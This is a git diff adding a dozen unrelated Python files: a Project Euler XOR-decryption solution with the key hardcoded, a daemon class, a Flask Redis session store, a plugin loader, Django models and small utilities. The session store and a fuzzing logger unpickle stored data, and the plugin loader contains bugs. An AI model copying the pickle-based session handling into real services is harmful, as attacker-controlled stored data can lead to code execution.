ASCII, +then XOR each byte with a given value, taken from a secret key. The advantage +with the XOR function is that using the same encryption key on the cipher text, +restores the plain text; for example, 65 XOR 42 = 107, then 107 XOR 42 = 65. + +For unbreakable encryption, the key is the same length as the plain text +message, and the key is made up of random bytes. The user would keep the +encrypted message and the encryption key in different locations, and without +both "halves", it is impossible to decrypt the message. + +Unfortunately, this method is impractical for most users, so the modified +method is to use a password as a key. If the password is shorter than the +message, which is likely, the key is repeated cyclically throughout the +message. The balance for this method is using a sufficiently long password key +for security, but short enough to be memorable. + +Your task has been made easy, as the encryption key consists of three lower +case characters. Using cipher1.txt (right click and 'Save Link/Target As...'), +a file containing the encrypted ASCII codes, and the knowledge that the plain +text must contain common English words, decrypt the message and find the sum of +the ASCII values in the original text. +''' + + +def xor_decryption(): + +# lAlphabet = 'abcdefghijklmnopqrstuvwxyz' + + lFile = open('cipher1.txt', 'r') + + lInput = lFile.readline() + + lFile.close() + + lInput = lInput.replace('\n', '') + + lStringEncr = lInput.split(',') + + lLen = len(lStringEncr) + + lSum = 0 + + for a in 'g': + for b in 'o': + for c in 'd': + + lKey = [ord(a)] + lKey.append(ord(b)) + lKey.append(ord(c)) + + lStringDecr = '' + i = 0 + j = 0 + + while (i < lLen): + + lXOR = int(lStringEncr[i]) ^ lKey[j] + lSum += int(lXOR) + lCharDecr = chr(lXOR) + + if lCharDecr in '~{}': + break + + lStringDecr += lCharDecr + + i += 1 + + if j == 2: + j = 0 + else: + j += 1 + +# if len(lStringDecr) == lLen: +# print('Key: ' + a + b + c + ' : ' + lStringDecr) + + return lSum + + +# ============================================================================= +# Solution of the Euler task +# ----------------------------------------------------------------------------- + + +print(xor_decryption()) diff --git a/pool/shard008/Python/0078335_daemon.py b/pool/shard008/Python/0078335_daemon.py new file mode 100644 index 0000000000000000000000000000000000000000..a5dd5ed31b389fc75188925dd9f454a5abd5a5e3 --- /dev/null +++ b/pool/shard008/Python/0078335_daemon.py @@ -0,0 +1,159 @@ +# -*- coding: utf-8 -*- + +""" + Daemon +""" + +import atexit +import logging +import os +import signal +import sys +import time + + +class Daemon: + """ + A generic daemon class. + + Subclass the Daemon class and override the run() method. + """ + + def __init__(self, pidfile=None, stdin="/dev/null", + stdout="/dev/null", stderr="/dev/null"): + """ + Inits daemon class. + + Args: + pidfile: PID filename + stdin: Input sink + stdout: Output sink + stderr: Error sink + """ + self.stdin = stdin + self.stdout = stdout + self.stderr = stderr + self.pidfile = pidfile + + def daemonize(self): + """ + Does the UNIX double-fork magic. + """ + try: + pid = os.fork() + if pid > 0: + # Exit first parent + sys.exit(0) + except OSError, error: + msg = "fork #1 failed: %d (%s)\n" % (error.errno, error.strerror) + sys.stderr.write(msg) + sys.exit(1) + + # Decouple from parent environment + os.chdir("/") + os.setsid() + os.umask(0) + + # Do second fork + try: + pid = os.fork() + if pid > 0: + # Exit from second parent + sys.exit(0) + except OSError, error: + msg = "fork #2 failed: %d (%s)\n" % (error.errno, error.strerror) + sys.stderr.write(msg) + sys.exit(1) + + logging.debug("Running in background.") + + # Redirect standard file descriptors + sys.stdout.flush() + sys.stderr.flush() + stdin = file(self.stdin, 'r') + stdout = file(self.stdout, 'a+') + stderr = file(self.stderr, 'a+', 0) + os.dup2(stdin.fileno(), sys.stdin.fileno()) + os.dup2(stdout.fileno(), sys.stdout.fileno()) + os.dup2(stderr.fileno(), sys.stderr.fileno()) + + if self.pidfile: + # Write pidfile + atexit.register(self.delpid) + pid = str(os.getpid()) + file(self.pidfile, 'w+').write("%s\n" % pid) + + def delpid(self): + """ + Removes PID file. + """ + os.remove(self.pidfile) + + def start(self): + """ + Start the daemon. + """ + # Check for a pidfile to see if the daemon already runs + try: + pidfile = file(self.pidfile, 'r') + pid = int(pidfile.read().strip()) + pidfile.close() + except IOError: + pid = None + + if pid: + message = "pidfile %s already exist. Daemon already running?\n" + sys.stderr.write(message % self.pidfile) + sys.exit(1) + + # Start the daemon + logging.debug("Starting daemon.") + self.daemonize() + self.run() + + def stop(self): + """ + Stops the daemon. + """ + # Get the pid from the pidfile + try: + pidfile = file(self.pidfile, 'r') + pid = int(pidfile.read().strip()) + pidfile.close() + except IOError: + pid = None + + if not pid: + message = "pidfile %s does not exist. Daemon not running?\n" + sys.stderr.write(message % self.pidfile) + return + + logging.debug("Stopping daemon.") + + # Try killing the daemon process + try: + while True: + os.kill(pid, signal.SIGTERM) + time.sleep(0.1) + except OSError, err: + err = str(err) + if err.find("No such process") > 0: + if os.path.exists(self.pidfile): + os.remove(self.pidfile) + else: + print str(err) + sys.exit(1) + + def restart(self): + """ + Restarts the daemon. + """ + self.stop() + self.start() + + def run(self): + """ + You should override this method when you subclass Daemon. + It will be called after the process has been daemonized + by start() or restart(). + """ diff --git a/pool/shard008/Python/0078338_function.py b/pool/shard008/Python/0078338_function.py new file mode 100644 index 0000000000000000000000000000000000000000..f9b26251ae942fb59a6a297c2053323d8251dab2 --- /dev/null +++ b/pool/shard008/Python/0078338_function.py @@ -0,0 +1,72 @@ +# Copyright (C) 2013 Korei Klein + +from lib import equivalence, common_vars, common_symbols, library +from calculus import symbol, variable +from calculus.enriched import constructors +from lib.common_formulas import Maps, IsEquivalence, IsFunction, Equal +from lib import common_vars + +def projectSrc(f): + return variable.ApplySymbolVariable(f, common_symbols.srcSymbol) +def projectTgt(f): + return variable.ApplySymbolVariable(f, common_symbols.tgtSymbol) +def projectDomain(e): + return variable.ApplySymbolVariable(e, common_symbols.domainSymbol) +def projectRelation(e): + return variable.ApplySymbolVariable(e, common_symbols.relationSymbol) + +a = common_vars.a() +b = common_vars.b() +def defined(f): + return constructors.Forall([constructors.BoundedVariableBinding(a, projectSrc(f))], + constructors.Exists([constructors.BoundedVariableBinding(b, projectTgt(f))], + Maps(a, b, f))) + +a = common_vars.a() +b = common_vars.b() +aprime = common_vars.aprime() +bprime = common_vars.bprime() +def wellDefined(f): + return constructors.Forall( + [ constructors.BoundedVariableBinding(a, projectSrc(f)) + , constructors.BoundedVariableBinding(aprime, projectSrc(f)) + , constructors.BoundedVariableBinding(b, projectTgt(f)) + , constructors.BoundedVariableBinding(bprime, projectTgt(f))], + constructors.Implies( + predicates = [ Maps(a, b, f) + , Maps(aprime, bprime, f) + , Equal(a, aprime, projectSrc(f))], + consequent = Equal(b, bprime, projectTgt(f)))) + +a = common_vars.a() +b = common_vars.b() +aprime = common_vars.aprime() +bprime = common_vars.bprime() +def unique(f): + return constructors.Forall( + [ constructors.BoundedVariableBinding(a, projectSrc(f)) + , constructors.BoundedVariableBinding(aprime, projectSrc(f)) + , constructors.BoundedVariableBinding(b, projectTgt(f)) + , constructors.BoundedVariableBinding(bprime, projectTgt(f))], + constructors.Implies( + predicates =[ Maps(a, b, f) + , Maps(aprime, bprime, f) + , Equal(b, bprime, projectSrc(f))], + consequent = Equal(a, aprime, projectTgt(f)))) + +A = common_vars.A() +claim = constructors.Forall([constructors.OrdinaryVariableBinding(A)], + constructors.Iff( + right = constructors.And([ IsEquivalence(projectSrc(A)) + , IsEquivalence(projectTgt(A)) + , defined(A) + , wellDefined(A) + , unique(A)]), + left = IsFunction(A))) + +lib = library.Library( + name = "F", + claims = [claim], + variables = [common_vars.function], + sub_libraries = [equivalence.lib]) + diff --git a/pool/shard008/Python/0078340_redis_session.py b/pool/shard008/Python/0078340_redis_session.py new file mode 100644 index 0000000000000000000000000000000000000000..2cba3d68a90350a63603ba5c85a8a6ce054ce04d --- /dev/null +++ b/pool/shard008/Python/0078340_redis_session.py @@ -0,0 +1,61 @@ +import cPickle +from datetime import timedelta +from uuid import uuid4 +from redis import Redis +from werkzeug.datastructures import CallbackDict +from flask.sessions import SessionInterface, SessionMixin + +class RedisSession(CallbackDict, SessionMixin): + + def __init__(self, initial=None, sid=None, new=False): + def on_update(self): + self.modified = True + CallbackDict.__init__(self, initial, on_update) + self.sid = sid + self.new = new + self.modifed = False + + +class RedisSessionInterface(SessionInterface): + serializer = cPickle + session_class = RedisSession + + def __init__(self, redis=None, prefix='session:'): + if redis is None: + redis = Redis() + self.redis = redis + self.prefix = prefix + + def generate_sid(self): + return str(uuid4()) + + def get_redis_expiration_time(self, app, session): + if session.permanent: + return app.permanent_session_lifetime + return timedelta(days=1) + + def open_session(self, app, request): + sid = request.cookies.get(app.session_cookie_name) + if not sid: + sid = self.generate_sid() + return self.session_class(sid=sid, new=True) + val = self.redis.get(self.prefix + sid) + if val is not None: + data = self.serializer.loads(val) + return self.session_class(data, sid=sid) + return self.session_class(sid=sid, new=True) + + def save_session(self, app, session, response): + domain = self.get_cookie_domain(app) + if not session: + self.redis.delete(self.prefix + session.sid) + if session.modified: + response.delete_cookie(app.session_cookie_name, domain=domain) + return + redis_exp = self.get_redis_expiration_time(app, session) + cookie_exp = self.get_expiration_time(app, session) + val = self.serializer.dumps(dict(session), protocol=-1) + self.redis.setex(self.prefix + session.sid, val, + int(redis_exp.total_seconds())) + response.set_cookie(app.session_cookie_name, session.sid, + expires=cookie_exp, httponly=True, domain=domain) diff --git a/pool/shard008/Python/0078341_IPlugin.py b/pool/shard008/Python/0078341_IPlugin.py new file mode 100644 index 0000000000000000000000000000000000000000..cffcaf1ab66a8e774b8839b84b0bcd7f67a54804 --- /dev/null +++ b/pool/shard008/Python/0078341_IPlugin.py @@ -0,0 +1,166 @@ +from Timeline.Utils.Plugins.Abstract import Abstract +from Timeline.Utils.Plugins.AbstractManager import Abstraction +from Timeline.Utils.Plugins import extend + +class Requirement: + name = None + code = 0 + developer = None + version = 0 + + def __init__(self, **kw): + req_args = ['name', 'code', 'developer', 'version'] + for arg in req_args: + if arg in kw: + setattr(self, arg, kw[arg]) + +class RequirementsManager(object): + + @classmethod + def getRequirement(cls, req, ps = None): + if req.name == None and req.code == 0 and req.developer == None and req.version == 0: + return None + + if req.name is not None and (req.code is None and req.developer is None): + return None + + if req.name and req.developer: + plugins = Abstraction.getAllPluginsByDeveloper(req.developer, ps) + + for p in plugins: + if p.name is not req.name: continue + + if p.version is not 0 and req.version != 0 and p.version < req.version: + return None + + return p + + elif req.code is not 0: + if not Abstraction.PluginExists(req.code, ps): + return None + + plugin = Abstraction.getPlugin(_id, ps) + if plugin.version != 0 and req.version != 0 and plugin.version < req.version: + return None + + return Plugin + + return None + + @classmethod + def getAllRequirements(cls, requirements): + req = list() + + for r in requirements: + if not isinstance(r, Requirement): + continue + + reqm = RequirementsManager.getRequirement(r) + if reqm is not None: + req.append(reqm) + + return req + + @classmethod + def checkForRequirements(cls, requirements): + for req in requirements: + if req.name == None and req.code == 0 and req.developer == None and req.version == 0: + continue + + if req.name is not None and (req.code is None and req.developer is None): + raise ReferenceError("Unable to satisfy requirements. Only Plugin name passed, required code name or developer name.") + + if req.name and req.developer: + plugins = Abstraction.getAllPluginsByDeveloper(req.developer) + found = sum(p.name == req.name for p in plugins) > 0 + if not found: + raise NotImplementedError("Requirement not satsfied for {}".format(req.name)) + + for p in plugins: + if p.name is not req.name: continue + + if p.version is not 0 and req.version != 0 and p.version < req.version: + raise ImportError("Plugin version not satisfied for {}".format(req.name)) + break + + elif req.code is not 0: + if not Abstraction.PluginExists(req.code): + raise NotImplementedError("Requirement not satisfied for key:{}".format(req.code)) + + plugin = Abstraction.getPlugin(_id) + if plugin.version != 0 and req.version != 0 and plugin.version < req.version: + raise ImportError("Plugin version not satisfied for {}".format(plugin)) + +class IPluginAbstractMeta (type): + + def __init__(cls, name, bases, attrs): + cls.onBuild() + +class IExtender (object): + + __metaclass__ = IPluginAbstractMeta + __extends__ = [] + + @classmethod + def onBuild(cls): + for toextend in cls.__extends__: + extend(toextend, cls) + +class IPlugin(Abstract): + """ + Defined the base class of Plugin Objects. All plugin classes are recommended to inherit from this base class. + """ + + requirements = list() + + name = "plugin_name" + ''' + str : Name of the plugin + ''' + developer = "developer_name" + ''' + str : Plugin developer's name + ''' + version = 0 + ''' + int : Version of the current plugin. Default 0, 0 specifies the plugin is version(less or) independent + ''' + + def __new__ (cls, *a, **kw): + #check for requirements first! + requirements = list(cls.requirements) + + for i in range(len(requirements)): + req = requirements[i] + if isinstance(req, dict): + req = requirements[i] = Requirement(**req) + + elif not isinstance(req, Requirement): + raise TypeError("Expected type `Requirements` found `{}` instead".format(type(req).__name__)) + + RequirementsManager.checkForRequirements(requirements) + + return super(IPlugin, cls).__new__(cls, *a, **kw) + + def __init__(self, *a, **kw): + self.dependencies = list() + """ + List of plugin instances current plugin depends upon + """ + + self.dependent = list() + ''' + List if plugins which depend on current plugin + ''' + + self.loadDependencies() + + super(IPlugin, self).__init__(*a, **kw) + + def loadDependencies(self): + self.dependencies = RequirementsManager.getAllRequirements(self.requirements) + for dependency in self.dependencies: + dependency.on_dependency(self) + + def on_dependency(self, plugin): + self.dependent.append(plugin) \ No newline at end of file diff --git a/pool/shard008/Python/0078342_test_ajax.py b/pool/shard008/Python/0078342_test_ajax.py new file mode 100644 index 0000000000000000000000000000000000000000..059ff951b789b94eff50e8017f3c6c5c267517a3 --- /dev/null +++ b/pool/shard008/Python/0078342_test_ajax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +# encoding: utf-8 + +import unittest + +import core.ajax.request as request +from core.ajax.ajax import Ajax + + +class TestAjax(unittest.TestCase): + def setUp(self): + req = request.Request(request.PUT, 'https://platform.ringcentral.com/restapi/v1.0/account/~/extension/~/message-store/123,123') + self.ajax = Ajax(req) + + def test_creation(self): + self.assertIsInstance(self.ajax, Ajax) + + def test_send(self): + self.ajax.send() + +if __name__ == '__main__': + unittest.main() \ No newline at end of file diff --git a/pool/shard008/Python/0078358_cryptocurrency.py b/pool/shard008/Python/0078358_cryptocurrency.py new file mode 100644 index 0000000000000000000000000000000000000000..5ed85ce66909f7840607e6f2717a81853c9b747e --- /dev/null +++ b/pool/shard008/Python/0078358_cryptocurrency.py @@ -0,0 +1,13 @@ +#!/usr/bin/env python +# DickServ IRC Bot - Developed by acidvegas in Python (https://acid.vegas/dickserv) +# cryptocurrency.py + +import httplib + +def get(coin): + api = httplib.get_json('https://api.coinmarketcap.com/v1/ticker/?limit=500') + data = [item for item in api if (coin.lower() == item['id'] or coin.upper() == item['symbol'])] + if data: + return data[0] + else: + return False \ No newline at end of file diff --git a/pool/shard008/Python/0078363_team_changes.py b/pool/shard008/Python/0078363_team_changes.py new file mode 100644 index 0000000000000000000000000000000000000000..66c187ead9bdd9617b999ccfc8a0a9f1f79d4ca9 --- /dev/null +++ b/pool/shard008/Python/0078363_team_changes.py @@ -0,0 +1,18 @@ +# Copyright (c) LinkedIn Corporation. All rights reserved. Licensed under the BSD-2 Clause license. +# See LICENSE in the project root for license information. + +from ujson import dumps as json_dumps +from ... import db + + +def on_get(req, resp, team): + audit_query = '''SELECT `audit_log`.`description`, `audit_log`.`timestamp`, + `audit_log`.`owner_name`, `audit_log`.`action_name` + FROM `audit_log` WHERE `team_name` = %s''' + connection = db.connect() + cursor = connection.cursor(db.DictCursor) + cursor.execute(audit_query, team) + data = cursor.fetchall() + cursor.close() + connection.close() + resp.body = json_dumps(data) diff --git a/pool/shard008/Python/0078369_get_access_token.py b/pool/shard008/Python/0078369_get_access_token.py new file mode 100644 index 0000000000000000000000000000000000000000..0ca98e0b360a40e799343d71d063003506b6b6cb --- /dev/null +++ b/pool/shard008/Python/0078369_get_access_token.py @@ -0,0 +1,96 @@ +#!/usr/bin/python2.4 +# +# Copyright 2007 The Python-Twitter Developers +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + + +if __name__ == "__main__": + + import os + import sys + + # parse_qsl moved to urlparse module in v2.6 + try: + from urlparse import parse_qsl + except: + from cgi import parse_qsl + + import oauth2 as oauth + + REQUEST_TOKEN_URL = 'https://api.twitter.com/oauth/request_token' + ACCESS_TOKEN_URL = 'https://api.twitter.com/oauth/access_token' + AUTHORIZATION_URL = 'https://api.twitter.com/oauth/authorize' + SIGNIN_URL = 'https://api.twitter.com/oauth/authenticate' + + from client.config.config import * + + keystore = KeyStore() + + consumer_key = keystore.app_consumer_key + consumer_secret = keystore.app_consumer_secret + + if consumer_key is None or consumer_secret is None: + print 'You need to edit this script and provide values for the' + print 'consumer_key and also consumer_secret.' + print '' + print 'The values you need come from Twitter - you need to register' + print 'as a developer your "application". This is needed only until' + print 'Twitter finishes the idea they have of a way to allow open-source' + print 'based libraries to have a token that can be used to generate a' + print 'one-time use key that will allow the library to make the request' + print 'on your behalf.' + print '' + sys.exit(1) + + signature_method_hmac_sha1 = oauth.SignatureMethod_HMAC_SHA1() + oauth_consumer = oauth.Consumer(key=consumer_key, secret=consumer_secret) + oauth_client = oauth.Client(oauth_consumer) + + print 'Requesting temp token from Twitter' + + resp, content = oauth_client.request(REQUEST_TOKEN_URL, 'GET') + + if resp['status'] != '200': + print 'Invalid respond from Twitter requesting temp token: %s' % resp['status'] + else: + request_token = dict(parse_qsl(content)) + + print '' + print 'Please visit this Twitter page and retrieve the pincode to be used' + print 'in the next step to obtaining an Authentication Token:' + print '' + print '%s?oauth_token=%s' % (AUTHORIZATION_URL, request_token['oauth_token']) + print '' + + pincode = raw_input('Pincode? ') + + token = oauth.Token(request_token['oauth_token'], request_token['oauth_token_secret']) + token.set_verifier(pincode) + + print '' + print 'Generating and signing request for an access token' + print '' + + oauth_client = oauth.Client(oauth_consumer, token) + resp, content = oauth_client.request(ACCESS_TOKEN_URL, method='POST', body='oauth_callback=oob&oauth_verifier=%s' % pincode) + access_token = dict(parse_qsl(content)) + + if resp['status'] != '200': + print 'The request for a Token did not succeed: %s' % resp['status'] + print access_token + else: + print 'Your Twitter Access Token key: %s' % access_token['oauth_token'] + print ' Access Token secret: %s' % access_token['oauth_token_secret'] + print '' + diff --git a/pool/shard008/Python/0078371_init__.py b/pool/shard008/Python/0078371_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..f96355986662dc4dd6916cb695c2694c900591f0 --- /dev/null +++ b/pool/shard008/Python/0078371_init__.py @@ -0,0 +1,43 @@ +# +# Copyright 2014 Thomas Rabaix +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + + +class TornadoManager(object): + STOPPED = 0 + STARTED = 1 + + def __init__(self): + self.ioloops = {} + self.status = {} + + def add_ioloop(self, name, ioloop): + self.ioloops[name] = ioloop + self.status[name] = TornadoManager.STOPPED + + def stop(self, name): + if self.status[name] == TornadoManager.STARTED: + self.ioloops[name].stop() + + def start(self, name): + if self.status[name] == TornadoManager.STOPPED: + self.ioloops[name].start() + + def start_all(self): + for name, loop in self.ioloops.iteritems(): + self.start(name) + + def stop_all(self): + for name, loop in self.ioloops.iteritems(): + self.stop(name) diff --git a/pool/shard008/Python/0078387_models.py b/pool/shard008/Python/0078387_models.py new file mode 100644 index 0000000000000000000000000000000000000000..96e97f387bb985e5163945966d53ce63c903e699 --- /dev/null +++ b/pool/shard008/Python/0078387_models.py @@ -0,0 +1,50 @@ +""" +Full Text Search Framework +""" +import datetime +from django.db import models +from django.contrib.contenttypes.models import ContentType +from django.contrib.contenttypes import generic +from django.core.cache import cache + +from fts.settings import * + +if FTS_CONFIGURE_ALL_BACKENDS or FTS_BACKEND.startswith('simple://'): + class Word(models.Model): + word = models.CharField(unique=True, db_index=True, blank=False, max_length=100) + + def __unicode__(self): + return u"%s" % (self.word) + + class Namespace(models.Model): + slug = models.SlugField() + + def save(self, *args, **kwargs): + super(Namespace, self).save(*args, **kwargs) + + # store section's schema modification time: + key = "fts-namespaces-last-updated" + cache.set(key, datetime.datetime.now()) + + def delete(self): + super(Namespace, self).delete() + + # store section's schema modification time: + key = "fts-namespaces-last-updated" + cache.set(key, datetime.datetime.now()) + + def __unicode__(self): + return u"%s" % (self.slug) + + class Index(models.Model): + word = models.ForeignKey(Word) + weight = models.IntegerField() + + namespace = models.ForeignKey(Namespace, null=True, blank=True) + + content_type = models.ForeignKey(ContentType) + object_id = models.PositiveIntegerField(db_index=True) + content_object = generic.GenericForeignKey('content_type', 'object_id') + + def __unicode__(self): + return u'%s [%s]' % (self.content_object, self.word.word) diff --git a/pool/shard008/Python/0078388_log.py b/pool/shard008/Python/0078388_log.py new file mode 100644 index 0000000000000000000000000000000000000000..7e324d46f78c95c65a8f6c326d43699c934ebeb3 --- /dev/null +++ b/pool/shard008/Python/0078388_log.py @@ -0,0 +1,70 @@ +"""Utility logging class that is useful when running fuzzing campaigns.""" + +import os +import pickle + +__all__ = ["Logger", "LastNMessagesLogger"] + + +class Logger(object): + """Base class for a fuzzing logger.""" + + def __init__(self, filename): + """Class constructor.""" + self._filename = filename + + def log(self, item): + """Log the protobuf object |item|.""" + raise NotImplementedError("Must implement log()") + + def get(self): + """Return all the entries in the buffer.""" + raise NotImplementedError("Must implement get()") + + +class LastNMessagesLogger(Logger): + """Maintain the last N messages in a file. + + Ensure messages are persisted to disk during every write. + + """ + + def __init__(self, filename, size=0): + """Class constructor.""" + super().__init__(filename) + self._size = size + + def log(self, obj): + """Commit an arbitrary (picklable) object to the log.""" + entries = self.get() + entries.append(obj) + # Only log the last |n| entries if set + if self._size > 0: + entries = entries[-self._size :] + self._write_entries(entries) + + def get(self): + """Return contents of the file.""" + entries = [] + if not os.path.exists(self._filename): + return entries + + log_file = open(self._filename, "rb") + while ( + log_file.peek() + ): # FIXME unresolved attribute reference 'peek' for BinaryIO + entries.append(pickle.load(log_file)) + log_file.close() + + return entries + + def _write_entries(self, entries): + log_file = open(self._filename, "wb") + try: + log_file.seek(0) + for entry in entries: + pickle.dump(entry, log_file, pickle.HIGHEST_PROTOCOL) + log_file.flush() + os.fsync(log_file.fileno()) + finally: + log_file.close() diff --git a/pool/shard008/Python/0078391_model.py b/pool/shard008/Python/0078391_model.py new file mode 100644 index 0000000000000000000000000000000000000000..bfeee958ac1f011a54ef824fc7a1f406f71ce5f1 --- /dev/null +++ b/pool/shard008/Python/0078391_model.py @@ -0,0 +1,19 @@ +import os + +path = os.path.dirname(os.path.realpath(__file__)) +sbmlFilePath = os.path.join(path, 'BIOMD0000000312.xml') + +with open(sbmlFilePath,'r') as f: + sbmlString = f.read() + +def module_exists(module_name): + try: + __import__(module_name) + except ImportError: + return False + else: + return True + +if module_exists('libsbml'): + import libsbml + sbml = libsbml.readSBMLFromString(sbmlString) \ No newline at end of file diff --git a/pool/shard008/Python/0078392_models.py b/pool/shard008/Python/0078392_models.py new file mode 100644 index 0000000000000000000000000000000000000000..420252eda4dfc1e0ffadda7cae1dae3ed2644362 --- /dev/null +++ b/pool/shard008/Python/0078392_models.py @@ -0,0 +1,154 @@ +from django.contrib.auth.models import User +from django.utils.translation import ugettext_lazy as _ +from django.db import models +from django.core.exceptions import ValidationError +from django.contrib.auth.models import Group + +CATEGORY = (('', '----'), ('1', _('Student')), + ('2', _('Teaching Staff')), ('3', _('Employees'))) + +ENGINEERING = (('0', '----'), ('1', _('Software')), ('2', _('Eletronic')), + ('3', _('Energy')), ('4', _('Automotive')), + ('5', _('Aerospace')), ('6', _('Engineerings'))) + + +class UserProfile(models.Model): + registration_number = models.CharField( + max_length=20, unique=True, + error_messages={'unique': _('Registration Number already used.')}) + user = models.OneToOneField(User, on_delete=models.CASCADE, + related_name="profile_user") + category = models.CharField(choices=CATEGORY, max_length=20) + engineering = models.CharField(choices=ENGINEERING, max_length=15, + default=1) + + def create_user(self): + if not hasattr(self, "user"): + self.user = User() + + def name(self, name): + self.create_user() + names = name.split() + self.user.first_name = names.pop(0) + self.user.last_name = str.join(" ", names) + + def full_name(self): + self.create_user() + name = str.join(" ", [self.user.first_name, self.user.last_name]) + return name + + def clean_fields(self, exclude=None): + validation = Validation() + + # Registration Number validation + registration_number = self.registration_number + + if (len(registration_number) != 9): + raise ValidationError({'registration_number': + [_('Registration number \ + must have 9 digits.'), ]}) + + if validation.hasLetters(registration_number): + raise ValidationError({'registration_number': + [_('Registration number \ + cannot contain letters.'), ]}) + + if validation.hasSpecialCharacters(registration_number): + raise ValidationError({'registration_number': + [_('Registration number \ + cannot contain special characters.'), ]}) + + def save(self, *args, **kwargs): + self.user.save() + self.user_id = self.user.pk + super(UserProfile, self).save(*args, **kwargs) + + def make_as_academic_staff(self): + try: + academic_staff = Group.objects.get(name="academic_staff") + except: + academic_staff, created = (Group.objects. + get_or_create(name="academic_staff")) + + self.create_user() + self.user.groups.add(academic_staff) + + def make_as_admin(self): + try: + admin = Group.objects.get(name="admin") + except: + admin, created = Group.objects.get_or_create(name="admin") + + self.create_user() + self.user.groups.add(admin) + + def is_admin(self): + try: + self.user.groups.get(name="admin") + return True + except Group.DoesNotExist: + return False + + def is_academic_staff(self): + try: + self.user.groups.get(name="academic_staff") + return True + except Group.DoesNotExist: + return False + + @staticmethod + def get_users(): + users = UserProfile.objects.all() + choices = [] + for user in users: + new_choice = (user, user) + choices.append(new_choice) + choices = sorted(choices, key=lambda user_tuple: + user_tuple[0].full_name()) + choices.insert(0, ('', '')) + return choices + + def __str__(self): + return '\n'.join((self.full_name(), '<' + self.user.username + '>')) + + +class Settings(models.Model): + start_semester = models.DateField(null=False, blank=False) + end_semester = models.DateField(null=False, blank=False) + + def get_start(self): + return Settings.objects.last().start_semester + + def get_end(self): + return Settings.objects.last().end_semester + + +class Validation(): + + def hasNumbers(self, string): + if (string is not None): + if any(char.isdigit() for char in string): + return True + + return False + + else: + return False + + def hasLetters(self, number): + if (number is not None): + if any(char.isalpha() for char in number): + return True + + return False + + else: + return False + + def hasSpecialCharacters(self, string): + if (string is not None): + for character in '@#$%^&+=/\{[]()}-_+=*!§|': + if character in string: + return True + + return False diff --git a/pool/shard008/Python/0078404_util.py b/pool/shard008/Python/0078404_util.py new file mode 100644 index 0000000000000000000000000000000000000000..c3455acec77d7eb3799f5a86deb04e98b9383ca6 --- /dev/null +++ b/pool/shard008/Python/0078404_util.py @@ -0,0 +1,120 @@ +# Much of this is borrowed from Python's Lib/dis.py + +from math import copysign + + +def code2num(code, i): + if isinstance(code, str): + return ord(code[i]) + else: + return code[i] + + +def num2code(num): + return (num & 0xFF, num >> 8) + + +# The inspect module interrogates this dictionary to build its +# list of CO_* constants. It is also used by pretty_flags to +# turn the co_flags field into a human readable list. +COMPILER_FLAG_NAMES = { + 0x00000001: "OPTIMIZED", + 0x00000002: "NEWLOCALS", + 0x00000004: "VARARGS", + 0x00000008: "VARKEYWORDS", + 0x00000010: "NESTED", + 0x00000020: "GENERATOR", + 0x00000040: "NOFREE", + # These are in Python 3.5 + + 0x00000080: "COROUTINE", + 0x00000100: "ITERABLE_COROUTINE", + # These are in Python 3.6+ + 0x00000200: "ASYNC_GENERATOR", + # These are used only in Python 2.x */ + 0x00001000: "GENERATOR_ALLOWED", + 0x00002000: "FUTURE_DIVISION", + 0x00004000: "ABSOLUTE_IMPORT", + 0x00008000: "FUTURE_WITH_STATEMENT", + 0x00010000: "FUTURE_PRINT_FUNCTION", + 0x00020000: "FUTURE_UNICODE_LITERALS", + 0x00040000: "FUTURE_BARRY_AS_DBFL", + 0x00080000: "FUTURE_GENERATOR_STOP", +} + +# These are PYPY specific +PYPY_COMPILER_FLAG_NAMES = { + 0x00100000: "PYPY_KILL_DOCSTRING", + 0x00200000: "PYPY_YIELD_INSIDE_TRY", + 0x00000400: "PYPY_ONLY_AST", + 0x00000800: "PYPY_IGNORE_COOKIE", + 0x10000000: "PYPY_ACCEPT_NULL_BYTES", +} + +# Invert above dictionary so we can look up a bit value +# from the compile flag name +COMPILER_FLAG_BIT = dict([v, k] for (k, v) in COMPILER_FLAG_NAMES.items()) + +# Allow us to access by just name, prefixed with CO. e.g +# CO_OPTIMIZED, CO_NOFREE +globals().update(dict(["CO_" + k, v] for (k, v) in COMPILER_FLAG_BIT.items())) + + +def co_flags_is_async(co_flags): + """ + Return True iff co_flags indicates an async function. + """ + return co_flags & ( + COMPILER_FLAG_BIT["COROUTINE"] + | COMPILER_FLAG_BIT["ITERABLE_COROUTINE"] + | COMPILER_FLAG_BIT["ASYNC_GENERATOR"] + ) + +def code_has_star_arg(code): + """Return True iff + the code object has a variable positional parameter (*args-like)""" + return (code.co_flags & 4) != 0 + + +def code_has_star_star_arg(code): + """Return True iff + The code object has a variable keyword parameter (**kwargs-like).""" + return (code.co_flags & 8) != 0 + + +def is_negative_zero(n): + """Returns true if n is -0.0""" + return n == 0.0 and copysign(1, n) == -1 + + +def better_repr(v): + """Work around Python's unorthogonal and unhelpful repr() for primitive float + and complex.""" + if isinstance(v, float): + # float values 'nan' and 'inf' are not directly + # representable in Python before Python 3.5. In Python 3.5 + # it is accessible via a library constant math.inf. We + # will canonicalize representation of these value as + # float('nan') and float('inf') + if str(v) in frozenset(["nan", "-nan", "inf", "-inf"]): + return "float('%s')" % v + elif is_negative_zero(v): + return "-0.0" + return repr(v) + elif isinstance(v, complex): + real = better_repr(v.real) + imag = better_repr(v.imag) + # FIXME: we could probably use repr() in most cases + # sort out when that's possible. + # The below is however round-tripable, and Python's repr() isn't. + return "complex(%s, %s)" % (real, imag) + elif isinstance(v, tuple): + if len(v) == 1: + return "(%s,)" % better_repr(v[0]) + return "(%s)" % ", ".join(better_repr(i) for i in v) + elif isinstance(v, list): + if len(v) == 1: + return "[%s,]" % 